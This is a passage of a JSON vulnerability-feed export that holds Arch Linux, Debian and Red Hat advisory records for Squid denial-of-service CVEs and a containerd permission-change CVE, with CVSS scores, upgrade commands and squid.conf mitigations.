Advisory ASA-202105-10\n==========================================\n\nSeverity: High\nDate : 2021-05-19\nCVE-ID : CVE-2021-28651 CVE-2021-28652 CVE-2021-28662\nPackage : squid\nType : denial of service\nRemote : Yes\nLink : https://security.archlinux.org/AVG-1949\n\nSummary\n=======\n\nThe package squid before version 4.15-1 is vulnerable to denial of\nservice.\n\nResolution\n==========\n\nUpgrade to 4.15-1.\n\n# pacman -Syu \"squid>=4.15-1\"\n\nThe problems have been fixed upstream in version 4.15.\n\nWorkaround\n==========\n\n- CVE-2021-28651 can be mitigated by disabling URN processing by the\nproxy, by adding these lines to squid.conf:\n\nacl URN proto URN\nhttp_access deny URN\n\n- CVE-2021-28652 can be mitigated by either disabling Cache Manager\naccess entirely if not needed, by placing the following line in\nsquid.conf before lines containing \"allow\":\n\nhttp_access deny manager\n\nor by hardening Cache Manager access privileges, for example: require\nauthentication or other access controls in http_access beyond the\ndefault IP address restriction.\n\n- No known mitigations exist for CVE-2021-28662.\n\nDescription\n===========\n\n- CVE-2021-28651 (denial of service)\n\nDue to a buffer management bug Squid before version 4.15 is vulnerable\nto a denial of service attack against the server it is operating on.\nThis attack is limited to proxies which attempt to resolve a \"urn:\"\nresource identifier. Support for this resolving is enabled by default\nin all Squid.\n\n- CVE-2021-28652 (denial of service)\n\nDue to an incorrect parser validation bug Squid before version 4.15 is\nvulnerable to a denial of Service attack against the Cache Manager API.\n\n- CVE-2021-28662 (denial of service)\n\nDue to an input validation bug Squid before version 4.15 is vulnerable\nto a denial of service against all clients using the proxy.\n\nImpact\n======\n\nA remote attacker can cause denial of service through crafted requests.\n\nReferences\n==========\n\nhttps://github.com/squid-cache/squid/security/advisories/GHSA-ch36-9jhx-phm4\nhttp://www.squid-cache.org/Versions/v4/changesets/squid-4-a975fd5aedc866629214aaaccb38376855351899.patch\nhttps://github.com/squid-cache/squid/security/advisories/GHSA-m47m-9hvw-7447\nhttp://www.squid-cache.org/Versions/v4/changesets/squid-4-0003e3518dc95e4b5ab46b5140af79b22253048e.patch\nhttps://github.com/squid-cache/squid/security/advisories/GHSA-jjq6-mh2h-g39h\nhttp://www.squid-cache.org/Versions/v4/changesets/squid-4-b1c37c9e7b30d0efb5e5ccf8200f2a646b9c36f8.patch\nhttps://security.archlinux.org/CVE-2021-28651\nhttps://security.archlinux.org/CVE-2021-28652\nhttps://security.archlinux.org/CVE-2021-28662", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2021-05-19T00:00:00", "type": "archlinux", "title": "[ASA-202105-10] squid: denial of service", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651", "CVE-2021-28652", "CVE-2021-28662"], "modified": "2021-05-19T00:00:00", "id": "ASA-202105-10", "href": "https://security.archlinux.org/ASA-202105-10", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-11-27T06:38:58", "description": "Arch Linux Security Advisory ASA-202107-70\n==========================================\n\nSeverity: Medium\nDate : 2021-07-27\nCVE-ID : CVE-2021-32760\nPackage : containerd\nType : directory traversal\nRemote : No\nLink : https://security.archlinux.org/AVG-2174\n\nSummary\n=======\n\nThe package containerd before version 1.5.4-1 is vulnerable to\ndirectory traversal.\n\nResolution\n==========\n\nUpgrade to 1.5.4-1.\n\n# pacman -Syu \"containerd>=1.5.4-1\"\n\nThe problem has been fixed upstream in version 1.5.4.\n\nWorkaround\n==========\n\nAs a workaround, ensure that users only pull images from trusted\nsources. Linux security modules (LSMs) like AppArmor can limit the\nfiles potentially affected by this bug through policies and profiles\nthat prevent containerd from interacting with specific files.\n\nDescription\n===========\n\nA bug was found in containerd version prior to 1.5.4 where pulling and\nextracting a specially-crafted container image can result in Unix file\npermission changes for existing files in the host's filesystem. Changes\nto file permissions can deny access to the expected owner of the file,\nwiden access to others, or set extended bits like setuid, setgid, and\nsticky. This bug does not directly allow files to be read, modified, or\nexecuted without an additional cooperating process.\n\nImpact\n======\n\nA crafted container image could change file permissions on the host\nsystem, leading to potential denial of service or information\ndisclosure.\n\nReferences\n==========\n\nhttps://github.com/containerd/containerd/security/advisories/GHSA-c72p-9xmj-rx3w\nhttps://github.com/containerd/containerd/commit/37a44de17d5d09e258e3c8c29d32ae99797e7c11\nhttps://security.archlinux.org/CVE-2021-32760", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "baseScore": 6.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 3.4}, "published": "2021-07-27T00:00:00", "type": "archlinux", "title": "[ASA-202107-70] containerd: directory traversal", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-07-27T00:00:00", "id": "ASA-202107-70", "href": "https://security.archlinux.org/ASA-202107-70", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2022-12-17T15:21:18", "description": "Squid before 4.15 and 5.x before 5.0.6 allows remote servers to cause a denial of service (affecting availability to all clients) via an HTTP response. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent by the server.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-28T12:15:00", "type": "debiancve", "title": "CVE-2021-33620", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33620"], "modified": "2021-05-28T12:15:00", "id": "DEBIANCVE:CVE-2021-33620", "href": "https://security-tracker.debian.org/tracker/CVE-2021-33620", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-12-17T15:21:18", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to an input-validation bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy). A client sends an HTTP Range request to trigger this.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T14:15:00", "type": "debiancve", "title": "CVE-2021-31808", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31808"], "modified": "2021-05-27T14:15:00", "id": "DEBIANCVE:CVE-2021-31808", "href": "https://security-tracker.debian.org/tracker/CVE-2021-31808", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-12-17T15:21:18", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-06-08T20:15:00", "type": "debiancve", "title": "CVE-2021-31807", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31807"], "modified": "2021-06-08T20:15:00", "id": "DEBIANCVE:CVE-2021-31807", "href": "https://security-tracker.debian.org/tracker/CVE-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-12-17T15:21:18", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to incorrect parser validation, it allows a Denial of Service attack against the Cache Manager API. This allows a trusted client to trigger memory leaks that. over time, lead to a Denial of Service via an unspecified short query string. This attack is limited to clients with Cache Manager API access privilege.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "baseScore": 4.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T12:15:00", "type": "debiancve", "title": "CVE-2021-28652", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28652"], "modified": "2021-05-27T12:15:00", "id": "DEBIANCVE:CVE-2021-28652", "href": "https://security-tracker.debian.org/tracker/CVE-2021-28652", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-12-17T15:21:18", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T13:15:00", "type": "debiancve", "title": "CVE-2021-31806", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806"], "modified": "2021-05-27T13:15:00", "id": "DEBIANCVE:CVE-2021-31806", "href": "https://security-tracker.debian.org/tracker/CVE-2021-31806", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-12-17T15:21:18", "description": "An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a buffer-management bug, it allows a denial of service. When resolving a request with the urn: scheme, the parser leaks a small amount of memory. However, there is an unspecified attack methodology that can easily trigger a large amount of memory consumption.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-27T12:15:00", "type": "debiancve", "title": "CVE-2021-28651", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651"], "modified": "2021-05-27T12:15:00", "id": "DEBIANCVE:CVE-2021-28651", "href": "https://security-tracker.debian.org/tracker/CVE-2021-28651", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-12-22T18:05:28", "description": "containerd is a container runtime. A bug was found in containerd versions prior to 1.4.8 and 1.5.4 where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host\u2019s filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. This bug has been fixed in containerd 1.5.4 and 1.4.8. As a workaround, ensure that users only pull images from trusted sources. Linux security modules (LSMs) like SELinux and AppArmor can limit the files potentially affected by this bug through policies and profiles that prevent containerd from interacting with specific files.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-19T21:15:00", "type": "debiancve", "title": "CVE-2021-32760", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32760"], "modified": "2021-07-19T21:15:00", "id": "DEBIANCVE:CVE-2021-32760", "href": "https://security-tracker.debian.org/tracker/CVE-2021-32760", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhatcve": [{"lastseen": "2022-07-07T17:30:53", "description": "An input validation flaw was found in Squid. This issue could allow a remote server to perform a denial of service against all clients using the proxy when delivering HTTP response messages. The highest threat from this vulnerability is to system availability.\n#### Mitigation\n\nMitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability. \n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-28T16:42:33", "type": "redhatcve", "title": "CVE-2021-33620", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-33620"], "modified": "2022-07-07T15:30:22", "id": "RH:CVE-2021-33620", "href": "https://access.redhat.com/security/cve/cve-2021-33620", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-07T17:30:54", "description": "An integer overflow flaw was found in Squid, where it is vulnerable to a denial of service attack against all clients using the proxy. The highest threat from this vulnerability is to system availability.\n#### Mitigation\n\nMitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability. \n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-20T11:21:34", "type": "redhatcve", "title": "CVE-2021-31808", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31808"], "modified": "2022-07-07T15:27:41", "id": "RH:CVE-2021-31808", "href": "https://access.redhat.com/security/cve/cve-2021-31808", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-07T17:30:53", "description": "An incorrect memory management flaw was found in Squid, where it is vulnerable to a denial of service attack against all clients using the proxy. The highest threat from this vulnerability is to system availability.\n#### Mitigation\n\nMitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability. \n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-20T11:21:28", "type": "redhatcve", "title": "CVE-2021-31807", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31807"], "modified": "2022-07-07T15:27:40", "id": "RH:CVE-2021-31807", "href": "https://access.redhat.com/security/cve/cve-2021-31807", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-07T17:30:52", "description": "A flaw was found in Squid. A parser validation bug could allow a trusted client with Cache Manager API access privileges to trigger memory leaks, potentially resulting in a denial of service against Squid. The highest threat from this vulnerability is to system availability.\n#### Mitigation\n\nTo mitigate this flaw Cache Manager access privileges can be hardened, for example by requiring authentication or other access controls in the "http_access" directive beyond the default IP address restriction. Alternatively, Cache Manager access can be disabled entirely if not needed. To do so, place the following line in `squid.conf` before lines containing "allow" : \n\n \n \n http_access deny manager \n \n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "baseScore": 4.9, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-19T15:54:31", "type": "redhatcve", "title": "CVE-2021-28652", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28652"], "modified": "2022-07-07T15:18:09", "id": "RH:CVE-2021-28652", "href": "https://access.redhat.com/security/cve/cve-2021-28652", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-07T17:30:52", "description": "An incorrect input validation flaw was found in Squid, where it is vulnerable to a denial of service attack against all clients using the proxy. The highest threat from this vulnerability is to system availability.\n#### Mitigation\n\nMitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability. \n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "baseScore": 6.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-20T11:21:28", "type": "redhatcve", "title": "CVE-2021-31806", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.0, "vectorString": "AV:N/AC:L/Au:S/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31806"], "modified": "2022-07-07T15:27:36", "id": "RH:CVE-2021-31806", "href": "https://access.redhat.com/security/cve/cve-2021-31806", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}}, {"lastseen": "2022-07-07T17:30:55", "description": "An input validation flaw was found in Squid. This issue could allow a malicious server in collaboration with a trusted client to consume arbitrarily large amounts of memory on the server running Squid. The highest threat from this vulnerability is to system availability.\n#### Mitigation\n\nIf possible, disable URN processing by adding the following lines in `squid.conf`: \n\n \n \n acl URN proto URN \n http_access deny URN \n \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-19T15:54:39", "type": "redhatcve", "title": "CVE-2021-28651", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28651"], "modified": "2022-07-07T15:18:05", "id": "RH:CVE-2021-28651", "href": "https://access.redhat.com/security/cve/cve-2021-28651", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2023-01-21T11:12:49", "description": "A flaw was found in containerd where pulling and extracting a specially-crafted container image can result in Unix file permission changes for existing files in the host\u2019s filesystem. Changes to file permissions can deny access to the expected owner of the file, widen access to others, or set extended bits like setuid, setgid, and sticky. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.3, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 3.4}, "published": "2021-07-20T08:51:14", "type": "redhatcve", "title": "CVE-2021-32760", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": 